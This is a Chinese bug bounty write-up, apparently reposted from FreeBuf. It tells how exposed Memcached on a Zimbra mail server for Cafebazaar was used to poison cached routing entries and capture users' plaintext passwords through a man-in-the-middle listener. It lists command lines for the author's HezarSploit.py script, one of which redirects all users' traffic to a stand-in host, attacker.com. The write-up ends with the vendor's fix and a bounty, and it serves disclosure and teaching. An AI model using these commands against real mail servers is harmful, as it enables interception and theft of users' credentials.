挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds

图片[1]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科本文讲述了作者以邮件登录服务为突破口,利用其中的Zimbra应用功能和邮件端口配置bug,可以对目标邮件服务端执行流量转发设置(SSRF),实现对所有登录用户的明文凭据信息窃取。

背景介绍

Cafebazaar(巴扎应用商店):成立于2011年4月的一个伊朗安卓APP商店,专门给波斯语用户提供APP应用服务,其上有164000多个伊朗和国际软件游戏、社交媒体、信息等其他应用软件。2019年4月,巴扎应用商店用户超过4000万。

Zimbra:Zimbra 是一家提供专业的电子邮件软件开发供应商,主要提供ZimbraDesktop邮件管理软件,附属应用还包括WebMail、日历、通信录、Web文档管理和创作。Zimbra的核心产品是Zimbra协作套件(Zimbra Collaboration Suite,简称ZCS)。

线索发现

在针对Cafebazaar的前期探测阶段,我以其Webmail邮箱服务页面-mailx.hezardastan.net为目标入手点,执行了一系列的枚举和端口扫描:

图片[2]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科从中可以看到很多开启端口,且11211端口的分布式缓存Memcached服务有点异常,经过测试我有了以下发现:

1、无需验证即可与Memcached服务的11211端口通信;
2、Zimbra应用会把其中涉及的邮箱地址储存在缓存中;
3、针对其中的缓存数据,可以进行增加、修改和删除操作;
4、可以针对目标系统实施DDOS攻击。

之后,我还想再深入发现更具危害的隐患,如文件信息泄露、远程代码执行等。

对Zimbra应用的深入测试

这里可以参考一下Zimbra的源码。在Memcached涉及的缓存服务中,会存储一些通信协议机制、用户名、后端IP地址等信息。在此,我用Metasploit的memcached_extractor模块来对其中的信息进行提取:

图片[3]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科图片[4]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科

虽然利用上述提取到的邮箱地址,可以实施进一步的钓鱼或暴力破解攻击。但这并不是我想要的效果。我们再来深入研究一下Zimbra的运行机制:

1、首先,需要用户提供凭据进行身份验证;
2、邮件服务端(mailx.hezardastan.net)会在缓存中储存涉及到的用户名、后台服务URL路径;
3、用户会直接与Zimbra应用实现交互;
4、邮件服务端会从缓存中取后台服务路径;
5、邮件服务端的交互会伴随用户数据和相应的URL服务路径。

图片[5]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科以下是Zimbra应用在缓存中存储的用户数据样例:

route:proto=imapssl;user=[REDUCTED]@cafebazaar.ir 127.0.0.1:7993
route:proto=pop3ssl;user=[REDUCTED]@cafebazaar.cloud 127.0.0.1:7995
route:proto=httpssl;user=[REDUCTED]@cafebazaar.ir 127.0.0.1:8443

其格式为:

route:proto=[UserProtocol];user=EmailAddressOrID

这里Zimbra应用支持的协议有:

IMAPSSL 127.0.0.1:7993
POP3SSL 127.0.0.1:7995
HTTPSSL(HTTPS) 127.0.0.1:8443

另外,需要注意的是,目标邮件服务端mailx.hezardastan.net开启了以下可以通过互联网访问的邮件配置端口:

IMAPSSL mailx.hezardastan.net:7993
POP3SSL mailx.hezardastan.net:7995
HTTPSSL(HTTPS) mailx.hezardastan.net:8443

以此为突破口,我在后续编写了一个利用脚本。

发现SSRF漏洞

接下来我要测试一下目标邮件服务端中是否存在SSRF漏洞。这里的思路是:
1、把其中涉及的后端IP地址更改指向到攻击者控制的IP地址;
2、利用自签名SSL证书,并在攻击者控制的IP地址中开启SSL监听程序;
3、把目标用户的缓存数据修改为转发指向至攻击控制的IP地址。

按照上述思路,通过操作,成功在攻击者控制的IP中收到了来自目标邮件服务端maix.hezardastan.net的相关缓存数据,SSRF有效。如下:

图片[6]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科

中间人攻击

之后我想到了中间人攻击,如果构造得当,利用这种攻击方式应该可以窃取大量的用户信息,如密码、邮箱地址等,当然还得考虑流量转发对攻击效果的影响。由于目标邮件服务端开启了互联网可以访问的邮件配置端口,所以,我想实现这种中间人攻击应该问题不大。

图片[7]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科

这里的中间人攻击思路为:

1、用户登录进入邮箱,后端IP把用户的凭据等相关信息进行了缓存;
2、攻击者把后端IP地址更改指向为攻击者自己控制的IP地址;
3、目标邮件服务端maix.hezardastan.net中的Zimbra应用流量就被转发至攻击者控制的IP系统中;
4、攻击者用SSL方式获得相应的转发流量,并可从中提取用户密码等信息;
5、攻击者也可通过SSL方式连接目标邮件服务端后台开放的端口;
6、攻击者还能将缓存转发流量更改默认配置。

为此,我专门写了一个实现中间人攻击的漏洞利用脚本-HezarSploit.py

图片[8]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科用它可以实现以下利用场景:

1、提取目标邮件服务端maix.hezardastan.net中已登录的用户邮箱地址:python HezarSploit.py -m dumpusers
图片[9]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科2、假冒IMAPSSL服务端直接与用户通信,并获取其中的用户凭据:

python HezarSploit.py -m mitm –port 4444

3、针对所有登录了邮箱服务端的用户(或是特定用户),可以把他们的缓存流量转发至我控制的服务器中:

python HezarSploit.py -m poisoning –user all –ip attacker.com –port 4444

4、将缓存转发流量更改默认配置:

python HezarSploit.py -m reset

组合利用放大招

在我控制的服务器中输入以下命令,进行流量监听:

python HezarSploit.py -m mitm –port 4444

图片[10]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科在其它终端中输入以下命令,实现对maix.hezardastan.net的缓存流量转发:

python HezarSploit.py -m poisoning –user all –ip attacker.com –port 4444

图片[11]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科结果:

图片[12]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科这种方式可以获取到几乎所有登录到maix.hezardastan.net的用户名和密码信息,注意,密码全是明文!目标邮件服务端完全沦陷了:

图片[13]-挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据 – 作者:clouds-安全小百科

后话

我上报漏洞后,Cafebazaar立马就进行了整改,不到一小时就修复了漏洞。之后我也获得了$2500的奖励。

参考来源

medium

来源:freebuf.com 2020-07-09 17:57:00 by: clouds

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论